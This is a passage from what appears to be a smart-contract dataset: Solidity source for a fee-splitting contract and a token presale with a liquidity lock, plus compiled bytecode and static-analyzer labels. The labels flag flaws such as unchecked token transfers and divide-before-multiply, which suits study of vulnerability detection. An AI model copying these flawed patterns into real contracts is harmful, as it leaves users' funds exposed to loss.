uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract MunchTokenomics is Ownable {
using SafeMath for uint256;
address payable public charityWalletAddress;
address payable public marketingWalletAddress;
mapping (address => uint) marketingPercentage; // integer value from 0 to 100
constructor(address payable charityWallet, address payable marketingWallet) public {
charityWalletAddress = charityWallet;
marketingWalletAddress = marketingWallet;
}
function setCharityWalletAddress(address payable charity) external onlyOwner() {
charityWalletAddress = charity;
}
function setMarketingWalletAddress(address payable marketing) external onlyOwner() {
marketingWalletAddress = marketing;
}
function setMarketingPercentage(address wallet, uint percentage) external onlyOwner() {
require(percentage >= 0 && percentage <= 100, 'Invalid percentage');
marketingPercentage[wallet] = percentage;
}
receive() external payable {
if (msg.value > 0) {
uint256 balance = address(this).balance;
uint256 marketingShare = balance.mul(marketingPercentage[msg.sender]).div(100);
uint256 charityShare = balance.sub(marketingShare);
(bool successC, ) = charityWalletAddress.call{ value: charityShare }('');
(bool successM, ) = marketingWalletAddress.call{ value: marketingShare }('');
require(successC && successM, "Transfer failed.");
}
}
}
|
0x60806040526004361061007f5760003560e01c80638f95a4451161004e5780638f95a4451461024f578063d158272d1461026f578063ec271be214610284578063f2fde38b14610299576101ca565b80631ff84975146101cf5780634cb80fd5146101ef578063715018a61461020f5780638da5cb5b14610224576101ca565b366101ca5734156101c857336000908152600360205260408120544791906100b5906064906100af9085906102b9565b90610307565b905060006100c38383610349565b6001546040519192506000916001600160a01b039091169083906100e6906106b5565b60006040518083038185875af1925050503d8060008114610123576040519150601f19603f3d011682016040523d82523d6000602084013e610128565b606091505b50506002546040519192506000916001600160a01b0390911690859061014d906106b5565b60006040518083038185875af1925050503d806000811461018a576040519150601f19603f3d011682016040523d82523d6000602084013e61018f565b606091505b5050905081801561019d5750805b6101c25760405162461bcd60e51b81526004016101b990610807565b60405180910390fd5b50505050505b005b600080fd5b3480156101db57600080fd5b506101c86101ea36600461068a565b61038b565b3480156101fb57600080fd5b506101c861020a36600461066e565b610407565b34801561021b57600080fd5b506101c8610468565b34801561023057600080fd5b506102396104b3565b60405161024691906106b8565b60405180910390f35b34801561025b57600080fd5b506101c861026a36600461066e565b6104c2565b34801561027b57600080fd5b50610239610523565b34801561029057600080fd5b50610239610532565b3480156102a557600080fd5b506101c86102b436600461066e565b610541565b6000826102c857506000610301565b60006102d48385610851565b9050826102e18583610831565b146102fe5760405162461bcd60e51b81526004016101b990610791565b90505b92915050565b60006102fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506105b2565b60006102fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506105e9565b61039361061a565b6001600160a01b03166103a46104b3565b6001600160a01b0316146103ca5760405162461bcd60e51b81526004016101b9906107d2565b60648111156103eb5760405162461bcd60e51b81526004016101b990610765565b6001600160a01b03909116600090815260036020526040902055565b61040f61061a565b6001600160a01b03166104206104b3565b6001600160a01b0316146104465760405162461bcd60e51b81526004016101b9906107d2565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b61047061061a565b6001600160a01b03166104816104b3565b6001600160a01b0316146104a75760405162461bcd60e51b81526004016101b9906107d2565b6104b1600061061e565b565b6000546001600160a01b031690565b6104ca61061a565b6001600160a01b03166104db6104b3565b6001600160a01b0316146105015760405162461bcd60e51b81526004016101b9906107d2565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6001546001600160a01b031681565b61054961061a565b6001600160a01b031661055a6104b3565b6001600160a01b0316146105805760405162461bcd60e51b81526004016101b9906107d2565b6001600160a01b0381166105a65760405162461bcd60e51b81526004016101b99061071f565b6105af8161061e565b50565b600081836105d35760405162461bcd60e51b81526004016101b991906106cc565b5060006105e08486610831565b95945050505050565b6000818484111561060d5760405162461bcd60e51b81526004016101b991906106cc565b5060006105e08486610870565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006020828403121561067f578081fd5b81356102fe8161089d565b6000806040838503121561069c578081fd5b82356106a78161089d565b946020939093013593505050565b90565b6001600160a01b0391909116815260200190565b6000602080835283518082850152825b818110156106f8578581018301518582016040015282016106dc565b818111156107095783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260129082015271496e76616c69642070657263656e7461676560701b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201526f2a3930b739b332b9103330b4b632b21760811b604082015260600190565b60008261084c57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561086b5761086b610887565b500290565b60008282101561088257610882610887565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105af57600080fdfea2646970667358221220f464cbd17834134b9cfdc7e8ae3475583a146aa8f6b4bcd61cedc4a002cc57d764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,252 |
0xb7e2c8e2ca60220c4b59c8891bd9b01d50f52752
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract DexnesPresaleAndLiquidityLock {
using SafeMath for uint256;
IUniswapV2Router02 internal constant UNISWAP = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
struct WhitelistInfo {
uint256 whitelisted;
uint256 boughtAmount;
}
uint256 public startTimestamp = block.timestamp;
uint256 public endTimestamp = startTimestamp.add(1 days); // ends after a day
uint256 public lockDuration = 60 days; // liquidity locked for 60 days
IERC20 public dnesToken = IERC20(address(0xD1706eAf3C60b69942F29b683D857e01428c459F)); // dexnes token
address public dexnesCaptain = address(0xA34757fC1e8EAD538C4ef2Ef23286517A7a9d0a7); // staking contract
uint256 public locked;
uint256 public unlockTimestamp;
uint256 public maxAllowed = 3 ether;
uint256 public minAllowed = 1 ether;
uint256 public liquidityPercentage = 75;
uint256 public weiRaised;
address[] internal buyers;
mapping(address => WhitelistInfo) public whitelist;
address public owner;
constructor() public {
owner = msg.sender;
}
function addToWhitelist(address[] calldata _addresses) public {
require(msg.sender == owner, "Caller is not owner");
for (uint i = 0; i < _addresses.length; i++) {
address addy = _addresses[i];
if (addy != address(0)) {
whitelist[addy] = WhitelistInfo(1, 0);
}
}
}
function unlockLiquidity(IERC20 _uniLpToken) public {
require(locked == 1, "Liquidity is not yet locked");
require(isClosed(), "Liqudity cannot be unlocked as the presale is either still open or not yet opened");
require(block.timestamp >= unlockTimestamp, "Liqudity cannot be unlocked as the block timestamp is before the unlock timestamp");
_uniLpToken.transfer(owner, _uniLpToken.balanceOf(address(this)));
}
// adds liquidity to uniswap (ratio is 1.5 eth = 1 dnes)
// 75% of the raised eth will be put into liquidity pool
// 25% of the raised eth will be used for marketing
// unsold tokens will be sent to the mining pool
function lockLiquidity() public {
require(locked == 0, "Liquidity is already locked");
require(isClosed(), "Presale is either still open or not yet opened");
locked = 1;
unlockTimestamp = block.timestamp.add(lockDuration);
addLiquidity();
distributeTokensToBuyers();
payable(owner).transfer(address(this).balance);
dnesToken.transfer(dexnesCaptain, dnesToken.balanceOf(address(this)));
}
function addLiquidity() internal {
uint256 ethForLiquidity = weiRaised.mul(liquidityPercentage).div(100);
uint256 tokenForLiquidity = ethForLiquidity.div(150).mul(100);
dnesToken.approve(address(UNISWAP), tokenForLiquidity);
UNISWAP.addLiquidityETH
{value : ethForLiquidity}
(
address(dnesToken),
tokenForLiquidity,
0,
0,
address(this),
block.timestamp + 100000000
);
}
function distributeTokensToBuyers() internal {
for (uint i = 0; i < buyers.length; i++) {
address buyer = buyers[i];
uint256 tokens = whitelist[buyer].boughtAmount;
if (tokens > 0) {
dnesToken.transfer(buyer, tokens);
}
}
}
function isOpen() public view returns (bool) {
return !isClosed() && block.timestamp >= startTimestamp;
}
function isClosed() public view returns (bool) {
return block.timestamp >= endTimestamp;
}
function buyTokens() payable public {
require(isOpen(), "Presale is either already closed or not yet open");
require(whitelist[msg.sender].whitelisted == 1, "Address is not included in the whitelist");
require(dnesToken.balanceOf(address(this)) >= msg.value, "Contract does not have enough token balance");
uint256 boughtAmount = whitelist[msg.sender].boughtAmount.add(msg.value);
require(boughtAmount <= maxAllowed, "Whitelisted address can only buy a maximum of 3 ether");
require(boughtAmount >= minAllowed, "Whitelisted address minimum buy is 1 ether ");
buyers.push(msg.sender);
whitelist[msg.sender].boughtAmount = boughtAmount;
weiRaised = weiRaised.add(msg.value);
dnesToken.transfer(msg.sender, msg.value);
}
receive() external payable {
buyTokens();
}
}
|
0x6080604052600436106101185760003560e01c8063a2ec3218116100a0578063ca39967111610064578063ca39967114610454578063cf3090121461047f578063d0febe4c146104aa578063d58c66ab146104b4578063e6fd48bc1461050557610127565b8063a2ec321814610379578063a85adeab146103ba578063aa082a9d146103e5578063bb2f719914610410578063c2b6b58c1461042757610127565b80637f649783116100e75780637f649783146101da5780637fb30c351461026057806389eeee1f1461028b5780638da5cb5b146102cc5780639b19251a1461030d57610127565b8063045544431461012c578063048b87ba146101575780634042b66f1461018257806347535d7b146101ad57610127565b3661012757610125610530565b005b600080fd5b34801561013857600080fd5b506101416109ea565b6040518082815260200191505060405180910390f35b34801561016357600080fd5b5061016c6109f0565b6040518082815260200191505060405180910390f35b34801561018e57600080fd5b506101976109f6565b6040518082815260200191505060405180910390f35b3480156101b957600080fd5b506101c26109fc565b60405180821515815260200191505060405180910390f35b3480156101e657600080fd5b5061025e600480360360208110156101fd57600080fd5b810190808035906020019064010000000081111561021a57600080fd5b82018360208201111561022c57600080fd5b8035906020019184602083028401116401000000008311171561024e57600080fd5b9091929391929390505050610a1a565b005b34801561026c57600080fd5b50610275610bcd565b6040518082815260200191505060405180910390f35b34801561029757600080fd5b506102a0610bd3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d857600080fd5b506102e1610bf9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031957600080fd5b5061035c6004803603602081101561033057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1f565b604051808381526020018281526020019250505060405180910390f35b34801561038557600080fd5b5061038e610c43565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c657600080fd5b506103cf610c69565b6040518082815260200191505060405180910390f35b3480156103f157600080fd5b506103fa610c6f565b6040518082815260200191505060405180910390f35b34801561041c57600080fd5b50610425610c75565b005b34801561043357600080fd5b5061043c610f9c565b60405180821515815260200191505060405180910390f35b34801561046057600080fd5b50610469610fa9565b6040518082815260200191505060405180910390f35b34801561048b57600080fd5b50610494610faf565b6040518082815260200191505060405180910390f35b6104b2610530565b005b3480156104c057600080fd5b50610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb5565b005b34801561051157600080fd5b5061051a611258565b6040518082815260200191505060405180910390f35b6105386109fc565b61058d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806119e86030913960400191505060405180910390fd5b6001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414610628576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806118a76028913960400191505060405180910390fd5b34600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106b257600080fd5b505afa1580156106c6573d6000803e3d6000fd5b505050506040513d60208110156106dc57600080fd5b81019080805190602001909291905050501015610744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611920602b913960400191505060405180910390fd5b600061079b34600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461125e90919063ffffffff16565b90506007548111156107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260358152602001806118726035913960400191505060405180910390fd5b600854811015610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018061199c602b913960400191505060405180910390fd5b600b339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061091234600a5461125e90919063ffffffff16565b600a81905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33346040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109ab57600080fd5b505af11580156109bf573d6000803e3d6000fd5b505050506040513d60208110156109d557600080fd5b81019080805190602001909291905050505050565b60025481565b60095481565b600a5481565b6000610a06610f9c565b158015610a1557506000544210155b905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610add576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616c6c6572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b60005b82829050811015610bc8576000838383818110610af957fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bba576040518060400160405280600181526020016000815250600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050505b508080600101915050610ae0565b505050565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090508060000154908060010154905082565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60065481565b600060055414610ced576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c697175696469747920697320616c7265616479206c6f636b6564000000000081525060200191505060405180910390fd5b610cf5610f9c565b610d4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611a18602e913960400191505060405180910390fd5b6001600581905550610d676002544261125e90919063ffffffff16565b600681905550610d756112e6565b610d7d61155d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610de5573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ed057600080fd5b505afa158015610ee4573d6000803e3d6000fd5b505050506040513d6020811015610efa57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b810190808051906020019092919050505050565b6000600154421015905090565b60075481565b60055481565b60016005541461102d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6971756964697479206973206e6f7420796574206c6f636b6564000000000081525060200191505060405180910390fd5b611035610f9c565b61108a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605181526020018061194b6051913960600191505060405180910390fd5b6006544210156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260518152602001806118cf6051913960600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561118b57600080fd5b505afa15801561119f573d6000803e3d6000fd5b505050506040513d60208110156111b557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561121957600080fd5b505af115801561122d573d6000803e3d6000fd5b505050506040513d602081101561124357600080fd5b81019080805190602001909291905050505050565b60005481565b6000808284019050838110156112dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006113126064611304600954600a546116db90919063ffffffff16565b61176190919063ffffffff16565b9050600061133d606461132f60968561176190919063ffffffff16565b6116db90919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113e657600080fd5b505af11580156113fa573d6000803e3d6000fd5b505050506040513d602081101561141057600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600080306305f5e10042016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561150657600080fd5b505af115801561151a573d6000803e3d6000fd5b50505050506040513d606081101561153157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b60005b600b805490508110156116d8576000600b828154811061157c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905060008111156116c957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561168c57600080fd5b505af11580156116a0573d6000803e3d6000fd5b505050506040513d60208110156116b657600080fd5b8101908080519060200190929190505050505b50508080600101915050611560565b50565b6000808314156116ee576000905061175b565b60008284029050828482816116ff57fe5b0414611756576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119c76021913960400191505060405180910390fd5b809150505b92915050565b60006117a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ab565b905092915050565b60008083118290611857576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561181c578082015181840152602081019050611801565b50505050905090810190601f1680156118495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161186357fe5b04905080915050939250505056fe57686974656c697374656420616464726573732063616e206f6e6c79206275792061206d6178696d756d206f66203320657468657241646472657373206973206e6f7420696e636c7564656420696e207468652077686974656c6973744c697175646974792063616e6e6f7420626520756e6c6f636b65642061732074686520626c6f636b2074696d657374616d70206973206265666f72652074686520756e6c6f636b2074696d657374616d70436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f6b656e2062616c616e63654c697175646974792063616e6e6f7420626520756e6c6f636b6564206173207468652070726573616c6520697320656974686572207374696c6c206f70656e206f72206e6f7420796574206f70656e656457686974656c69737465642061646472657373206d696e696d756d20627579206973203120657468657220536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7750726573616c652069732065697468657220616c726561647920636c6f736564206f72206e6f7420796574206f70656e50726573616c6520697320656974686572207374696c6c206f70656e206f72206e6f7420796574206f70656e6564a26469706673582212201d7f75743f1d4731f10469702f72b89ba72e1fb31293d7cccbe7217fff95f78964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,253 |
0x5f30dca1c90708e8b5b0b047be6b73e4bcae6238
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has five types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
constructor(address[] _owners, uint _required) public {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
PendingState storage pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
emit Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data, block.number))) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
